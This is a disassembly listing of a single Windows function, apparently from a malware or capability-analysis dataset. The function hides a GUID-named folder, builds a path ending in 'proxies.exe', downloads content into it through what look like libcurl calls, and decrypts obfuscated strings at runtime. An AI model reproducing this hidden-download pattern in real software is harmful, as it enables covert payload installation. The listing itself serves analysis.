Function at 0x140002660
Capabilities:
Set file attributes

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x40]
sub rsp, 0x140
mov rax, qword [0x140085700]
xor rax, rsp
mov qword [rbp + 0x30], rax
mov qword [rbp - 0x78], rcx
xor ebx, ebx
call fcn.140002e50
mov r13, rax
mov rcx, rax
call fcn.1400070f0
mov ecx, 3
call fcn.140009cb0
call fcn.140009ab0
mov rsi, rax
mov dword [rbp - 0x38], ebx
test rax, rax
je 0x140002d46
lea rdx, str.91F36FB1_6F6D_4708_8B33_0F43107FD4D6
lea rcx, [rbp - 0x30]
call fcn.140004d50
nop
lea r8, [rbp - 0x30]
lea rdx, [rbp + 0x10]
call fcn.140002360
nop
mov rdx, qword [rbp - 0x18]
cmp rdx, 7
jbe 0x140002728
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002723
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002723
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140067af4
cmp qword [rbp + 0x20], 0
je 0x140002cf1
lea rcx, [rbp + 0x10]
cmp qword [rbp + 0x28], 7
cmova rcx, qword [rbp + 0x10]
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov r15, qword [rbp + 0x20]
movabs rcx, 0x7ffffffffffffffe
mov rax, rcx
sub rax, r15
cmp rax, 0xc
jb 0x140002e44
lea r12, [rbp + 0x10]
cmp qword [rbp + 0x28], 7
cmova r12, qword [rbp + 0x10]
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp], xmm1
lea r14, [r15 + 0xc]
mov ebx, 7
lea rdi, [rbp - 0x10]
cmp r14, rbx
jbe 0x140002827
mov rbx, r14
or rbx, 7
cmp rbx, rcx
jbe 0x1400027ef
mov rbx, rcx
movabs rax, 0x7fffffffffffffff
lea rcx, [rax + rax]
cmp rcx, 0x1000
jb 0x14000281b
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140002e3e
mov rcx, rax
call fcn.140067870
test rax, rax
je 0x140002bdf
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140002823
mov eax, 0xa
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
movabs rax, 0x7fffffffffffffff
cmp rcx, rax
ja 0x140002e3e
add rcx, rcx
jne 0x1400027ba
xor edi, edi
jmp 0x140002823
call fcn.140067870
mov rdi, rax
mov qword [rbp - 0x10], rdi
mov qword [rbp], r14
mov qword [rbp + 8], rbx
lea rbx, [r15 + r15]
mov r8, rbx
mov rdx, r12
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
movups xmm0, xmmword [str.proxies.exe]
movups xmmword [rbx + rdi], xmm0
movsd xmm0, qword [0x14007b280]
movsd qword [rbx + rdi + 0x10], xmm0
xor eax, eax
mov word [rdi + r14*2], ax
lea rdx, [rbp - 0x10]
cmp qword [rbp + 8], 7
cmova rdx, qword [rbp - 0x10]
mov rax, qword [rbp]
lea r8, [rdx + rax*2]
lea rdx, [rbp - 0x10]
cmova rdx, qword [rbp - 0x10]
lea rcx, [rbp - 0x30]
call fcn.140009560
nop
lea rcx, [rbp - 0x30]
cmp qword [rbp - 0x18], 0xf
cmova rcx, qword [rbp - 0x30]
lea rdx, [0x14007b28c]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rdi, rax
test rax, rax
jne 0x140002981
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
mov ecx, dword [rax]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_strerror]
mov rdi, rax
movdqa xmm0, xmmword [0x14007b580]
movdqa xmm1, xmmword [0x14007b570]
mov dword [rbp - 0x80], 0x20bbed72
mov word [rbp - 0x7c], 0xafb6
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x174
mov eax, dword [rdx + rcx]
mov ebx, 0x380
add rbx, rcx
test al, 1
jne 0x140002961
or eax, 1
mov dword [rdx + rcx], eax
mov byte [rbx + 0x27], 1
lea rax, [rbx + 0x26]
lea rcx, [rbp - 0x7a]
cmp rbx, rcx
ja 0x14000293b
lea rcx, [rsp + 0x60]
cmp rax, rcx
jb 0x14000293b
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm1
mov eax, dword [rbp - 0x80]
mov dword [rbx + 0x20], eax
movzx eax, word [rbp - 0x7c]
mov word [rbx + 0x24], ax
mov byte [rbx + 0x26], 0x3f
jmp 0x140002954
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm1
mov eax, dword [rbp - 0x80]
mov dword [rbx + 0x20], eax
movzx eax, word [rbp - 0x7c]
mov word [rbx + 0x24], ax
mov byte [rbx + 0x26], 0x3f
lea rcx, [0x14006a250]
call fcn.140067bd0
nop
mov rcx, rbx
call fcn.140006f70
mov rdx, rdi
mov rcx, rbx
call fcn.140001010
mov rcx, rsi
call fcn.140009a50
jmp 0x140002ac4
mov r8, r13
mov edx, 0x2712
mov rcx, rsi
call fcn.14000de60
mov r8, rdi
mov edx, 0x2711
mov rcx, rsi
call fcn.14000de60
xor r8d, r8d
mov edx, 0x4e2b
mov rcx, rsi
call fcn.14000de60
mov rcx, rsi
call fcn.140009b20
mov ebx, eax
lea r8, [rbp - 0x38]
mov edx, 0x200002
mov rcx, rsi
call fcn.140009a80
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rcx, rsi
call fcn.140009a50
test ebx, ebx
je 0x140002b59
mov ecx, ebx
call fcn.14000a710
mov rsi, rax
movdqa xmm0, xmmword [0x14007b7a0]
mov dword [rsp + 0x50], 0xfb2862b7
mov dword [rsp + 0x54], 0xb3c6d361
mov dword [rsp + 0x58], 0xba6937be
mov word [rsp + 0x5c], 0xbf32
mov rax, qword gs:[0x58]
mov rdi, qword [rax]
mov ecx, 0x284
mov eax, dword [rcx + rdi]
mov ebx, 0x610
test al, 1
jne 0x140002aac
or eax, 1
mov dword [rcx + rdi], eax
lea rcx, [rdi + rbx]
mov byte [rcx + 0x1f], 1
lea rax, [rcx + 0x1e]
lea rdx, [rsp + 0x5e]
cmp rcx, rdx
ja 0x140002a7d
lea rdx, [rsp + 0x40]
cmp rax, rdx
jb 0x140002a7d
movups xmmword [rcx], xmm0
movsd xmm0, qword [rsp + 0x50]
movsd qword [rcx + 0x10], xmm0
mov eax, dword [rsp + 0x58]
mov dword [rcx + 0x18], eax
movzx eax, word [rsp + 0x5c]
mov word [rcx + 0x1c], ax
mov byte [rcx + 0x1e], 0xaf
jmp 0x140002a9f
movups xmmword [rcx], xmm0
movsd xmm0, qword [rsp + 0x50]
movsd qword [rcx + 0x10], xmm0
mov eax, dword [rsp + 0x58]
mov dword [rcx + 0x18], eax
movzx eax, word [rsp + 0x5c]
mov word [rcx + 0x1c], ax
mov byte [rcx + 0x1e], 0xaf
lea rcx, [0x14006a220]
call fcn.140067bd0
nop
lea r11, [rbx + rdi]
mov rcx, r11
call fcn.140006df0
mov rdx, rsi
mov rcx, r11
call fcn.140001010
nop
mov rdx, qword [rbp - 0x18]
cmp rdx, 0xf
jbe 0x140002aff
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002afa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002b8b
call fcn.140067af4
movdqa xmm0, xmmword [0x14007b350]
movdqu xmmword [rbp - 0x20], xmm0
mov byte [rbp - 0x30], 0
mov rdx, qword [rbp + 8]
cmp rdx, 7
jbe 0x140002cfa
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002b4f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002bdf
call fcn.140067af4
jmp 0x140002cfa
mov rdx, qword [rbp - 0x18]
cmp rdx, 0xf
jbe 0x140002b97
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002b92
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002b92
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140067af4
movdqa xmm0, xmmword [0x14007b350]
movdqu xmmword [rbp - 0x20], xmm0
mov byte [rbp - 0x30], 0
mov rdx, qword [rbp + 8]
cmp rdx, 7
jbe 0x140002bec
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002be6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002be6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140067af4
nop
mov rdx, qword [rbp + 0x28]
cmp rdx, 7
jbe 0x140002c2c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002c27
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002d35
call fcn.140067af4
mov edi, dword [rbp - 0x38]
cmp edi, 0xc8
je 0x140002cdc
movdqa xmm0, xmmword [0x14007b770]
movdqa xmm1, xmmword [0x14007b880]
movdqa xmm2, xmmword [0x14007b7c0]
mov rax, qword gs:[0x58]
mov rsi, qword [rax]
mov ecx, 0x5a4
mov eax, dword [rcx + rsi]
mov ebx, 0x4c8
test al, 1
jne 0x140002cc1
or eax, 1
mov dword [rcx + rsi], eax
lea rax, [rsi + rbx]
mov byte [rax + 0x31], 1
lea rcx, [rax + 0x30]
lea rdx, [rbp - 0x40]
cmp rax, rdx
ja 0x140002ca5
lea rdx, [rbp - 0x70]
cmp rcx, rdx
jb 0x140002ca5
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax + 0x20], xmm2
mov byte [rax + 0x30], 0x87
jmp 0x140002cb4
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax + 0x20], xmm2
mov byte [rax + 0x30], 0x87
lea rcx, [0x14006a1c0]
call fcn.140067bd0
nop
lea r11, [rbx + rsi]
mov rcx, r11
call fcn.140006af0
mov edx, edi
mov rcx, r11
call fcn.140001010
jmp 0x140002e0f
call fcn.1400030a0
mov rcx, qword [rbp - 0x78]
call fcn.1400037a0
mov al, 1
jmp 0x140002e11
mov rcx, rsi
call fcn.140009a50
nop
mov rdx, qword [rbp + 0x28]
cmp rdx, 7
jbe 0x140002e0f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002d3c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002d3c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140067af4
jmp 0x140002e0f
movdqa xmm0, xmmword [0x14007b8e0]
mov dword [rsp + 0x30], 0x14d79478
mov dword [rsp + 0x34], 0xe227907b
mov dword [rsp + 0x38], 0x53f7a744
mov word [rsp + 0x3c], 0xf50b
mov rax, qword gs:[0x58]
mov rdi, qword [rax]
mov ecx, 0x704
mov eax, dword [rcx + rdi]
mov ebx, 0x290
test al, 1
jne 0x140002dfb
or eax, 1
mov dword [rcx + rdi], eax
lea rcx, [rdi + rbx]
mov byte [rcx + 0x1e], 1
lea rax, [rcx + 0x1d]
lea rdx, [rsp + 0x3d]
cmp rcx, rdx
ja 0x140002dd0
lea rdx, [rsp + 0x20]
cmp rax, rdx
jb 0x140002dd0
movups xmmword [rcx], xmm0
movsd xmm0, qword [rsp + 0x30]
movsd qword [rcx + 0x10], xmm0
mov eax, dword [rsp + 0x38]
mov dword [rcx + 0x18], eax
movzx eax, word [rsp + 0x3c]
mov word [rcx + 0x1c], ax
jmp 0x140002dee
movups xmmword [rcx], xmm0
movsd xmm0, qword [rsp + 0x30]
movsd qword [rcx + 0x10], xmm0
mov eax, dword [rsp + 0x38]
mov dword [rcx + 0x18], eax
movzx eax, word [rsp + 0x3c]
mov word [rcx + 0x1c], ax
lea rcx, [0x14006a1f0]
call fcn.140067bd0
nop
lea r11, [rbx + rdi]
mov rcx, r11
call fcn.140006c70
mov rcx, r11
call fcn.140001010
xor al, al
mov rcx, qword [rbp + 0x30]
xor rcx, rsp
call fcn.140067730
lea r11, [rsp + 0x140]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140001170
nop
call fcn.140001230
int3